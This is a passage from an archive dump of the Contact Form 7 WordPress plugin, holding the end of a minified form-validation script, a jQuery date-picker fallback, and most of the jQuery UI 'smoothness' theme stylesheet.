e=t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t));let i=0;if(e.forEach((t=>{"string"==typeof t&&(i+=t.length)})),0!==i&&i<parseInt(this.threshold))throw new o(this)},x=function(t){const e=t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t));let i=0;if(e.forEach((t=>{"string"==typeof t&&(i+=t.length)})),parseInt(this.threshold)<i)throw new o(this)},b=function(t){if(!t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).every((t=>!(parseFloat(t)<parseFloat(this.threshold)))))throw new o(this)},y=function(t){if(!t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).every((t=>!(parseFloat(this.threshold)<parseFloat(t)))))throw new o(this)},A=function(t){if(!t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).every((t=>!(/^[0-9]{4,}-[0-9]{2}-[0-9]{2}$/.test(t)&&/^[0-9]{4,}-[0-9]{2}-[0-9]{2}$/.test(this.threshold)&&t<this.threshold))))throw new o(this)},z=function(t){if(!t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).every((t=>!(/^[0-9]{4,}-[0-9]{2}-[0-9]{2}$/.test(t)&&/^[0-9]{4,}-[0-9]{2}-[0-9]{2}$/.test(this.threshold)&&this.threshold<t))))throw new o(this)},$=function(t){const e=t.getAll(this.field);let i=0;if(e.forEach((t=>{t instanceof File&&(i+=t.size)})),i<parseInt(this.threshold))throw new o(this)},j=function(t){const e=t.getAll(this.field);let i=0;if(e.forEach((t=>{t instanceof File&&(i+=t.size)})),parseInt(this.threshold)<i)throw new o(this)},I=function(t){const e=t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)),i=parseFloat(this.base),s=parseFloat(this.interval);if(!(0<s))return!0;if(!e.every((t=>{const e=(parseFloat(t)-i)%s;return"0.000000"===Math.abs(e).toFixed(6)||"0.000000"===Math.abs(e-s).toFixed(6)})))throw new o(this)},O=({ruleObj:t,options:i})=>{const{rule:s,...o}=t;return"function"==typeof e[s]&&("function"!=typeof e[s].matches||e[s].matches(o,i))},E=({ruleObj:t,formDataTree:i,options:s})=>{const{rule:o}=t;e[o].call(t,i,s)},k=[],F=t=>[...k].reduce(((t,e)=>i=>e(i,t)),t),D=function(t,e={}){const i=(this.rules??[]).filter((t=>O({ruleObj:t,options:e}))),s=F(E);if(!i.every((i=>{try{s({ruleObj:i,formDataTree:t,options:e})}catch(t){if(!(t instanceof o))throw t;if(void 0!==t.error)throw t;return!1}return!0})))throw new o(this)},M=function(t,e={}){const i=(this.rules??[]).filter((t=>O({ruleObj:t,options:e}))),s=F(E);if(!i.some((i=>{try{s({ruleObj:i,formDataTree:t,options:e})}catch(t){if(!(t instanceof o))throw t;return!1}return!0})))throw new o(this)};var L;window.swv={validators:e,validate:(t,e,i={})=>{const n=(t.rules??[]).filter((t=>O({ruleObj:t,options:i})));if(!n.length)return new Map;const a=F(E),r=new s(e),p=n.reduce(((t,e)=>{try{a({ruleObj:e,formDataTree:r,options:i})}catch(e){if(!(e instanceof o))throw e;if(void 0!==e.field&&!t.has(e.field)&&void 0!==e.error)return t.set(e.field,e)}return t}),new Map);for(const t of r.keys())p.has(t)||p.set(t,{validInputs:r.getAll(t)});return p},use:t=>{k.push(t)},...null!==(L=window.swv)&&void 0!==L?L:{}}})();contact-form-7/includes/js/html5-fallback.js000064400000001203147510273060014653 0ustar00( function( $ ) {
	$( function() {
		var supportHtml5 = ( function() {
			var features = {};
			var input = document.createElement( 'input' );
			var inputTypes = [ 'date' ];

			$.each( inputTypes, function( index, value ) {
				input.setAttribute( 'type', value );
				features[ value ] = input.type !== 'text';
			} );

			return features;
		} )();

		if ( ! supportHtml5.date ) {
			$( 'input.wpcf7-date[type="date"]' ).each( function() {
				$( this ).datepicker( {
					dateFormat: 'yy-mm-dd',
					minDate: new Date( $( this ).attr( 'min' ) ),
					maxDate: new Date( $( this ).attr( 'max' ) )
				} );
			} );
		}
	} );
} )( jQuery );
contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.css000064400000107270147510273060021627 0ustar00/*! jQuery UI - v1.12.1 - 2016-09-14
* http://jqueryui.com
* Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css
* To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Verdana%2CArial%2Csans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=highlight_soft&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=flat&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=glass&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=glass&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=glass&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=glass&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=glass&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=flat&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=flat&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px
* Copyright jQuery Foundation and other contributors; Licensed MIT */

/* Layout helpers
----------------------------------*/
.ui-helper-hidden {
	display: none;
}
.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(0 0 0 0);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
}
.ui-helper-reset {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	line-height: 1.3;
	text-decoration: none;
	font-size: 100%;
	list-style: none;
}
.ui-helper-clearfix:before,
.ui-helper-clearfix:after {
	content: "";
	display: table;
	border-collapse: collapse;
}
.ui-helper-clearfix:after {
	clear: both;
}
.ui-helper-zfix {
	width: 100%;
	height: 100%;
	top: 0;
	left: 0;
	position: absolute;
	opacity: 0;
	filter:Alpha(Opacity=0); /* support: IE8 */
}

.ui-front {
	z-index: 100;
}


/* Interaction Cues
----------------------------------*/
.ui-state-disabled {
	cursor: default !important;
	pointer-events: none;
}


/* Icons
----------------------------------*/
.ui-icon {
	display: inline-block;
	vertical-align: middle;
	margin-top: -.25em;
	position: relative;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
}

.ui-widget-icon-block {
	left: 50%;
	margin-left: -8px;
	display: block;
}

/* Misc visuals
----------------------------------*/

/* Overlays */
.ui-widget-overlay {
	position: fixed;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
}
.ui-accordion .ui-accordion-header {
	display: block;
	cursor: pointer;
	position: relative;
	margin: 2px 0 0 0;
	padding: .5em .5em .5em .7em;
	font-size: 100%;
}
.ui-accordion .ui-accordion-content {
	padding: 1em 2.2em;
	border-top: 0;
	overflow: auto;
}
.ui-autocomplete {
	position: absolute;
	top: 0;
	left: 0;
	cursor: default;
}
.ui-menu {
	list-style: none;
	padding: 0;
	margin: 0;
	display: block;
	outline: 0;
}
.ui-menu .ui-menu {
	position: absolute;
}
.ui-menu .ui-menu-item {
	margin: 0;
	cursor: pointer;
	/* support: IE10, see #8844 */
	list-style-image: url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7");
}
.ui-menu .ui-menu-item-wrapper {
	position: relative;
	padding: 3px 1em 3px .4em;
}
.ui-menu .ui-menu-divider {
	margin: 5px 0;
	height: 0;
	font-size: 0;
	line-height: 0;
	border-width: 1px 0 0 0;
}
.ui-menu .ui-state-focus,
.ui-menu .ui-state-active {
	margin: -1px;
}

/* icon support */
.ui-menu-icons {
	position: relative;
}
.ui-menu-icons .ui-menu-item-wrapper {
	padding-left: 2em;
}

/* left-aligned */
.ui-menu .ui-icon {
	position: absolute;
	top: 0;
	bottom: 0;
	left: .2em;
	margin: auto 0;
}

/* right-aligned */
.ui-menu .ui-menu-icon {
	left: auto;
	right: 0;
}
.ui-button {
	padding: .4em 1em;
	display: inline-block;
	position: relative;
	line-height: normal;
	margin-right: .1em;
	cursor: pointer;
	vertical-align: middle;
	text-align: center;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;

	/* Support: IE <= 11 */
	overflow: visible;
}

.ui-button,
.ui-button:link,
.ui-button:visited,
.ui-button:hover,
.ui-button:active {
	text-decoration: none;
}

/* to make room for the icon, a width needs to be set here */
.ui-button-icon-only {
	width: 2em;
	box-sizing: border-box;
	text-indent: -9999px;
	white-space: nowrap;
}

/* no icon support for input elements */
input.ui-button.ui-button-icon-only {
	text-indent: 0;
}

/* button icon element(s) */
.ui-button-icon-only .ui-icon {
	position: absolute;
	top: 50%;
	left: 50%;
	margin-top: -8px;
	margin-left: -8px;
}

.ui-button.ui-icon-notext .ui-icon {
	padding: 0;
	width: 2.1em;
	height: 2.1em;
	text-indent: -9999px;
	white-space: nowrap;

}

input.ui-button.ui-icon-notext .ui-icon {
	width: auto;
	height: auto;
	text-indent: 0;
	white-space: normal;
	padding: .4em 1em;
}

/* workarounds */
/* Support: Firefox 5 - 40 */
input.ui-button::-moz-focus-inner,
button.ui-button::-moz-focus-inner {
	border: 0;
	padding: 0;
}
.ui-controlgroup {
	vertical-align: middle;
	display: inline-block;
}
.ui-controlgroup > .ui-controlgroup-item {
	float: left;
	margin-left: 0;
	margin-right: 0;
}
.ui-controlgroup > .ui-controlgroup-item:focus,
.ui-controlgroup > .ui-controlgroup-item.ui-visual-focus {
	z-index: 9999;
}
.ui-controlgroup-vertical > .ui-controlgroup-item {
	display: block;
	float: none;
	width: 100%;
	margin-top: 0;
	margin-bottom: 0;
	text-align: left;
}
.ui-controlgroup-vertical .ui-controlgroup-item {
	box-sizing: border-box;
}
.ui-controlgroup .ui-controlgroup-label {
	padding: .4em 1em;
}
.ui-controlgroup .ui-controlgroup-label span {
	font-size: 80%;
}
.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item {
	border-left: none;
}
.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item {
	border-top: none;
}
.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content {
	border-right: none;
}
.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content {
	border-bottom: none;
}

/* Spinner specific style fixes */
.ui-controlgroup-vertical .ui-spinner-input {

	/* Support: IE8 only, Android < 4.4 only */
	width: 75%;
	width: calc( 100% - 2.4em );
}
.ui-controlgroup-vertical .ui-spinner .ui-spinner-up {
	border-top-style: solid;
}

.ui-checkboxradio-label .ui-icon-background {
	box-shadow: inset 1px 1px 1px #ccc;
	border-radius: .12em;
	border: none;
}
.ui-checkboxradio-radio-label .ui-icon-background {
	width: 16px;
	height: 16px;
	border-radius: 1em;
	overflow: visible;
	border: none;
}
.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,
.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon {
	background-image: none;
	width: 8px;
	height: 8px;
	border-width: 4px;
	border-style: solid;
}
.ui-checkboxradio-disabled {
	pointer-events: none;
}
.ui-datepicker {
	width: 17em;
	padding: .2em .2em 0;
	display: none;
}
.ui-datepicker .ui-datepicker-header {
	position: relative;
	padding: .2em 0;
}
.ui-datepicker .ui-datepicker-prev,
.ui-datepicker .ui-datepicker-next {
	position: absolute;
	top: 2px;
	width: 1.8em;
	height: 1.8em;
}
.ui-datepicker .ui-datepicker-prev-hover,
.ui-datepicker .ui-datepicker-next-hover {
	top: 1px;
}
.ui-datepicker .ui-datepicker-prev {
	left: 2px;
}
.ui-datepicker .ui-datepicker-next {
	right: 2px;
}
.ui-datepicker .ui-datepicker-prev-hover {
	left: 1px;
}
.ui-datepicker .ui-datepicker-next-hover {
	right: 1px;
}
.ui-datepicker .ui-datepicker-prev span,
.ui-datepicker .ui-datepicker-next span {
	display: block;
	position: absolute;
	left: 50%;
	margin-left: -8px;
	top: 50%;
	margin-top: -8px;
}
.ui-datepicker .ui-datepicker-title {
	margin: 0 2.3em;
	line-height: 1.8em;
	text-align: center;
}
.ui-datepicker .ui-datepicker-title select {
	font-size: 1em;
	margin: 1px 0;
}
.ui-datepicker select.ui-datepicker-month,
.ui-datepicker select.ui-datepicker-year {
	width: 45%;
}
.ui-datepicker table {
	width: 100%;
	font-size: .9em;
	border-collapse: collapse;
	margin: 0 0 .4em;
}
.ui-datepicker th {
	padding: .7em .3em;
	text-align: center;
	font-weight: bold;
	border: 0;
}
.ui-datepicker td {
	border: 0;
	padding: 1px;
}
.ui-datepicker td span,
.ui-datepicker td a {
	display: block;
	padding: .2em;
	text-align: right;
	text-decoration: none;
}
.ui-datepicker .ui-datepicker-buttonpane {
	background-image: none;
	margin: .7em 0 0 0;
	padding: 0 .2em;
	border-left: 0;
	border-right: 0;
	border-bottom: 0;
}
.ui-datepicker .ui-datepicker-buttonpane button {
	float: right;
	margin: .5em .2em .4em;
	cursor: pointer;
	padding: .2em .6em .3em .6em;
	width: auto;
	overflow: visible;
}
.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {
	float: left;
}

/* with multiple calendars */
.ui-datepicker.ui-datepicker-multi {
	width: auto;
}
.ui-datepicker-multi .ui-datepicker-group {
	float: left;
}
.ui-datepicker-multi .ui-datepicker-group table {
	width: 95%;
	margin: 0 auto .4em;
}
.ui-datepicker-multi-2 .ui-datepicker-group {
	width: 50%;
}
.ui-datepicker-multi-3 .ui-datepicker-group {
	width: 33.3%;
}
.ui-datepicker-multi-4 .ui-datepicker-group {
	width: 25%;
}
.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header {
	border-left-width: 0;
}
.ui-datepicker-multi .ui-datepicker-buttonpane {
	clear: left;
}
.ui-datepicker-row-break {
	clear: both;
	width: 100%;
	font-size: 0;
}

/* RTL support */
.ui-datepicker-rtl {
	direction: rtl;
}
.ui-datepicker-rtl .ui-datepicker-prev {
	right: 2px;
	left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next {
	left: 2px;
	right: auto;
}
.ui-datepicker-rtl .ui-datepicker-prev:hover {
	right: 1px;
	left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next:hover {
	left: 1px;
	right: auto;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane {
	clear: right;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button {
	float: left;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,
.ui-datepicker-rtl .ui-datepicker-group {
	float: right;
}
.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header {
	border-right-width: 0;
	border-left-width: 1px;
}

/* Icons */
.ui-datepicker .ui-icon {
	display: block;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
	left: .5em;
	top: .3em;
}
.ui-dialog {
	position: absolute;
	top: 0;
	left: 0;
	padding: .2em;
	outline: 0;
}
.ui-dialog .ui-dialog-titlebar {
	padding: .4em 1em;
	position: relative;
}
.ui-dialog .ui-dialog-title {
	float: left;
	margin: .1em 0;
	white-space: nowrap;
	width: 90%;
	overflow: hidden;
	text-overflow: ellipsis;
}
.ui-dialog .ui-dialog-titlebar-close {
	position: absolute;
	right: .3em;
	top: 50%;
	width: 20px;
	margin: -10px 0 0 0;
	padding: 1px;
	height: 20px;
}
.ui-dialog .ui-dialog-content {
	position: relative;
	border: 0;
	padding: .5em 1em;
	background: none;
	overflow: auto;
}
.ui-dialog .ui-dialog-buttonpane {
	text-align: left;
	border-width: 1px 0 0 0;
	background-image: none;
	margin-top: .5em;
	padding: .3em 1em .5em .4em;
}
.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset {
	float: right;
}
.ui-dialog .ui-dialog-buttonpane button {
	margin: .5em .4em .5em 0;
	cursor: pointer;
}
.ui-dialog .ui-resizable-n {
	height: 2px;
	top: 0;
}
.ui-dialog .ui-resizable-e {
	width: 2px;
	right: 0;
}
.ui-dialog .ui-resizable-s {
	height: 2px;
	bottom: 0;
}
.ui-dialog .ui-resizable-w {
	width: 2px;
	left: 0;
}
.ui-dialog .ui-resizable-se,
.ui-dialog .ui-resizable-sw,
.ui-dialog .ui-resizable-ne,
.ui-dialog .ui-resizable-nw {
	width: 7px;
	height: 7px;
}
.ui-dialog .ui-resizable-se {
	right: 0;
	bottom: 0;
}
.ui-dialog .ui-resizable-sw {
	left: 0;
	bottom: 0;
}
.ui-dialog .ui-resizable-ne {
	right: 0;
	top: 0;
}
.ui-dialog .ui-resizable-nw {
	left: 0;
	top: 0;
}
.ui-draggable .ui-dialog-titlebar {
	cursor: move;
}
.ui-draggable-handle {
	-ms-touch-action: none;
	touch-action: none;
}
.ui-resizable {
	position: relative;
}
.ui-resizable-handle {
	position: absolute;
	font-size: 0.1px;
	display: block;
	-ms-touch-action: none;
	touch-action: none;
}
.ui-resizable-disabled .ui-resizable-handle,
.ui-resizable-autohide .ui-resizable-handle {
	display: none;
}
.ui-resizable-n {
	cursor: n-resize;
	height: 7px;
	width: 100%;
	top: -5px;
	left: 0;
}
.ui-resizable-s {
	cursor: s-resize;
	height: 7px;
	width: 100%;
	bottom: -5px;
	left: 0;
}
.ui-resizable-e {
	cursor: e-resize;
	width: 7px;
	right: -5px;
	top: 0;
	height: 100%;
}
.ui-resizable-w {
	cursor: w-resize;
	width: 7px;
	left: -5px;
	top: 0;
	height: 100%;
}
.ui-resizable-se {
	cursor: se-resize;
	width: 12px;
	height: 12px;
	right: 1px;
	bottom: 1px;
}
.ui-resizable-sw {
	cursor: sw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	bottom: -5px;
}
.ui-resizable-nw {
	cursor: nw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	top: -5px;
}
.ui-resizable-ne {
	cursor: ne-resize;
	width: 9px;
	height: 9px;
	right: -5px;
	top: -5px;
}
.ui-progressbar {
	height: 2em;
	text-align: left;
	overflow: hidden;
}
.ui-progressbar .ui-progressbar-value {
	margin: -1px;
	height: 100%;
}
.ui-progressbar .ui-progressbar-overlay {
	background: url("data:image/gif;base64,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");
	height: 100%;
	filter: alpha(opacity=25); /* support: IE8 */
	opacity: 0.25;
}
.ui-progressbar-indeterminate .ui-progressbar-value {
	background-image: none;
}
.ui-selectable {
	-ms-touch-action: none;
	touch-action: none;
}
.ui-selectable-helper {
	position: absolute;
	z-index: 100;
	border: 1px dotted black;
}
.ui-selectmenu-menu {
	padding: 0;
	margin: 0;
	position: absolute;
	top: 0;
	left: 0;
	display: none;
}
.ui-selectmenu-menu .ui-menu {
	overflow: auto;
	overflow-x: hidden;
	padding-bottom: 1px;
}
.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup {
	font-size: 1em;
	font-weight: bold;
	line-height: 1.5;
	padding: 2px 0.4em;
	margin: 0.5em 0 0 0;
	height: auto;
	border: 0;
}
.ui-selectmenu-open {
	display: block;
}
.ui-selectmenu-text {
	display: block;
	margin-right: 20px;
	overflow: hidden;
	text-overflow: ellipsis;
}
.ui-selectmenu-button.ui-button {
	text-align: left;
	white-space: nowrap;
	width: 14em;
}
.ui-selectmenu-icon.ui-icon {
	float: right;
	margin-top: 0;
}
.ui-slider {
	position: relative;
	text-align: left;
}
.ui-slider .ui-slider-handle {
	position: absolute;
	z-index: 2;
	width: 1.2em;
	height: 1.2em;
	cursor: default;
	-ms-touch-action: none;
	touch-action: none;
}
.ui-slider .ui-slider-range {
	position: absolute;
	z-index: 1;
	font-size: .7em;
	display: block;
	border: 0;
	background-position: 0 0;
}

/* support: IE8 - See #6727 */
.ui-slider.ui-state-disabled .ui-slider-handle,
.ui-slider.ui-state-disabled .ui-slider-range {
	filter: inherit;
}

.ui-slider-horizontal {
	height: .8em;
}
.ui-slider-horizontal .ui-slider-handle {
	top: -.3em;
	margin-left: -.6em;
}
.ui-slider-horizontal .ui-slider-range {
	top: 0;
	height: 100%;
}
.ui-slider-horizontal .ui-slider-range-min {
	left: 0;
}
.ui-slider-horizontal .ui-slider-range-max {
	right: 0;
}

.ui-slider-vertical {
	width: .8em;
	height: 100px;
}
.ui-slider-vertical .ui-slider-handle {
	left: -.3em;
	margin-left: 0;
	margin-bottom: -.6em;
}
.ui-slider-vertical .ui-slider-range {
	left: 0;
	width: 100%;
}
.ui-slider-vertical .ui-slider-range-min {
	bottom: 0;
}
.ui-slider-vertical .ui-slider-range-max {
	top: 0;
}
.ui-sortable-handle {
	-ms-touch-action: none;
	touch-action: none;
}
.ui-spinner {
	position: relative;
	display: inline-block;
	overflow: hidden;
	padding: 0;
	vertical-align: middle;
}
.ui-spinner-input {
	border: none;
	background: none;
	color: inherit;
	padding: .222em 0;
	margin: .2em 0;
	vertical-align: middle;
	margin-left: .4em;
	margin-right: 2em;
}
.ui-spinner-button {
	width: 1.6em;
	height: 50%;
	font-size: .5em;
	padding: 0;
	margin: 0;
	text-align: center;
	position: absolute;
	cursor: default;
	display: block;
	overflow: hidden;
	right: 0;
}
/* more specificity required here to override default borders */
.ui-spinner a.ui-spinner-button {
	border-top-style: none;
	border-bottom-style: none;
	border-right-style: none;
}
.ui-spinner-up {
	top: 0;
}
.ui-spinner-down {
	bottom: 0;
}
.ui-tabs {
	position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */
	padding: .2em;
}
.ui-tabs .ui-tabs-nav {
	margin: 0;
	padding: .2em .2em 0;
}
.ui-tabs .ui-tabs-nav li {
	list-style: none;
	float: left;
	position: relative;
	top: 0;
	margin: 1px .2em 0 0;
	border-bottom-width: 0;
	padding: 0;
	white-space: nowrap;
}
.ui-tabs .ui-tabs-nav .ui-tabs-anchor {
	float: left;
	padding: .5em 1em;
	text-decoration: none;
}
.ui-tabs .ui-tabs-nav li.ui-tabs-active {
	margin-bottom: -1px;
	padding-bottom: 1px;
}
.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,
.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,
.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor {
	cursor: text;
}
.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor {
	cursor: pointer;
}
.ui-tabs .ui-tabs-panel {
	display: block;
	border-width: 0;
	padding: 1em 1.4em;
	background: none;
}
.ui-tooltip {
	padding: 8px;
	position: absolute;
	z-index: 9999;
	max-width: 300px;
}
body .ui-tooltip {
	border-width: 2px;
}
/* Component containers
----------------------------------*/
.ui-widget {
	font-family: Verdana,Arial,sans-serif;
	font-size: 1.1em;
}
.ui-widget .ui-widget {
	font-size: 1em;
}
.ui-widget input,
.ui-widget select,
.ui-widget textarea,
.ui-widget button {
	font-family: Verdana,Arial,sans-serif;
	font-size: 1em;
}
.ui-widget.ui-widget-content {
	border: 1px solid #d3d3d3;
}
.ui-widget-content {
	border: 1px solid #aaaaaa;
	background: #ffffff;
	color: #222222;
}
.ui-widget-content a {
	color: #222222;
}
.ui-widget-header {
	border: 1px solid #aaaaaa;
	background: #cccccc url("images/ui-bg_highlight-soft_75_cccccc_1x100.png") 50% 50% repeat-x;
	color: #222222;
	font-weight: bold;
}
.ui-widget-header a {
	color: #222222;
}

/* Interaction states
----------------------------------*/
.ui-state-default,
.ui-widget-content .ui-state-default,
.ui-widget-header .ui-state-default,
.ui-button,

/* We use html here because we need a greater specificity to make sure disabled
works properly when clicked or hovered */
html .ui-button.ui-state-disabled:hover,
html .ui-button.ui-state-disabled:active {
	border: 1px solid #d3d3d3;
	background: #e6e6e6 url("images/ui-bg_glass_75_e6e6e6_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #555555;
}
.ui-state-default a,
.ui-state-default a:link,
.ui-state-default a:visited,
a.ui-button,
a:link.ui-button,
a:visited.ui-button,
.ui-button {
	color: #555555;
	text-decoration: none;
}
.ui-state-hover,
.ui-widget-content .ui-state-hover,
.ui-widget-header .ui-state-hover,
.ui-state-focus,
.ui-widget-content .ui-state-focus,
.ui-widget-header .ui-state-focus,
.ui-button:hover,
.ui-button:focus {
	border: 1px solid #999999;
	background: #dadada url("images/ui-bg_glass_75_dadada_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #212121;
}
.ui-state-hover a,
.ui-state-hover a:hover,
.ui-state-hover a:link,
.ui-state-hover a:visited,
.ui-state-focus a,
.ui-state-focus a:hover,
.ui-state-focus a:link,
.ui-state-focus a:visited,
a.ui-button:hover,
a.ui-button:focus {
	color: #212121;
	text-decoration: none;
}

.ui-visual-focus {
	box-shadow: 0 0 3px 1px rgb(94, 158, 214);
}
.ui-state-active,
